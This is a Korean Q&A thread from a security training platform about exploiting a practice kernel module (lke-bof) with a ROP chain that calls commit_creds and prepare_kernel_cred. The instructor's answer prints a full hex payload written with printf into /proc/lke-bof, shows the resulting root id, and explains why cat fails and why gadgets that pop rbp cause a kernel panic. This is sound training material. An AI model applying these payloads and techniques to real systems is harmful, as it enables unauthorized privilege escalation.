완료됨
전에했던 lke-eop와 같이 리다이렉션 '>'을 이용하면 안되나요? 그리고 rbp를 건드리는 가젯은 사용하면 안되는 건가요?

payload를 python으로 lke-bof를 open하여 write해주었을 때에는 정상적으로 공격이 성공하는데, 같은 payload를 별도의 파일에 저장하여 "cat ex > /proc/lke-bof" 와 같은 방법으로는 실패하여 조금 애먹었습니다
혹시 리다이렉션으로는 공격이 불가능 한건가요?

rop가젯중에 0xffffffff812cbbde: mov rdi, rax ; mov rax, rdi ; pop rbp ; ret ; (1 found) 와 같은 가젯으로는 커널패닉이 발생 하였는데, 가젯을 사용할때 rbp가 변경되지 않게 해주어야 하나요?

#시스템_해킹 #커널 #공격기법 #commit_creds #prepare_kernel_cred
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 2
A
강의 수강: 10

안녕하세요, xl4sh님! 항상 드림핵 강의 콘텐츠에 관심을 가져 주셔서 감사드립니다.

쉘 리디렉션을 이용해 커널 bof 실습 모듈을 익스플로잇할 수 있는지 질문주신 것을 확인했습니다.

쉘 리디렉션을 이용한 익스플로잇

다음과 같은 방법으로 쉘에서 bof 공격을 수행하실 수 있습니다.

[Guest]
dreamhack@dh-lke:~$ printf '\x35\x10\x0a\x81\xff\xff\xff\xff\x16\x17\x08\x81\xff\xff\xff\xff\x61\x36\x04\x81\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x59\xdf\x48\x81\xff\xff\xff\xff\x7b\x15\x08\x81\xff\xff\xff\xff' > /proc/lke-bof
dreamhack@dh-lke:~$ id
uid=0(root) gid=0(root) groups=0(root)

쉘은 권한상승이 일어났다는 사실을 바로 인식하지는 못합니다. 쉘이 시작할 때 자신의 UID 및 GID를 기억한 다음, 이것들이 종료시까지 바뀌지 않는다고 가정하기 때문입니다.

그 대신 여기에서 쉘을 다시 실행하시면 # 프롬프트를 얻으실 수 있습니다.

dreamhack@dh-lke:~$ exec bash -l
root@dh-lke:~# 

cat 프로그램을 이용한 익스플로잇

아쉽게도, 말씀주신 cat exploit.bin > /proc/lke-bof 와 같은 방법으로는 상승된 권한으로 명령을 실행하는 것이 어렵습니다.

[Guest]
dreamhack@dh-lke:~$ printf '\x35\x10\x0a\x81\xff\xff\xff\xff\x16\x17\x08\x81\xff\xff\xff\xff\x61\x36\x04\x81\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x59\xdf\x48\x81\xff\xff\xff\xff\x7b\x15\x08\x81\xff\xff\xff\xff' > exploit.bin
dreamhack@dh-lke:~$ cat exploit.bin > /proc/lke-bof
dreamhack@dh-lke:~$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

이유인 즉슨, 권한상승이 write() 시스템 콜을 호출하는 프로세스에 발생하기 때문입니다. 해당 동작은 cat 프로세스의 문맥에서 수행되므로 쉘의 권한은 바뀌지 않고 대신 cat 프로세스에 권한상승이 발생하게 됩니다.

실습 모듈 코드를 이해하기 쉽도록 데이터가 쓰이는 시점에서 버퍼 오버플로우 취약점이 발생하도록 하였습니다. commit_creds 커널 함수는 현재 프로세스의 권한만 변경할 수 있습니다.

따라서 쉘만을 가지고 익스플로잇하고자 하는 경우 printf 또는 echo 와 같은 쉘의 내장(built-in) 명령어를 이용하셔야 합니다.

2020.11.12. 14:11
A
강의 수강: 10

RBP 레지스터를 변경하는 가젯 관련

rop가젯중에 0xffffffff812cbbde: mov rdi, rax ; mov rax, rdi ; pop rbp ; ret ; (1 found) 와 같은 가젯으로는 커널패닉이 발생 하였는데, 가젯을 사용할때 rbp가 변경되지 않게 해주어야 하나요?

네, 그렇습니다. ROP 체인 실행 후 RBP 레지스터의 값을 RSP 레지스터로 복사하는 방식으로 스택 복구가 일어납니다. 스택이 복구되지 않으면 제어가 사용자 프로그램으로 돌아오지 않고 커널 패닉이 발생합니다.

2020.11.12. 14:16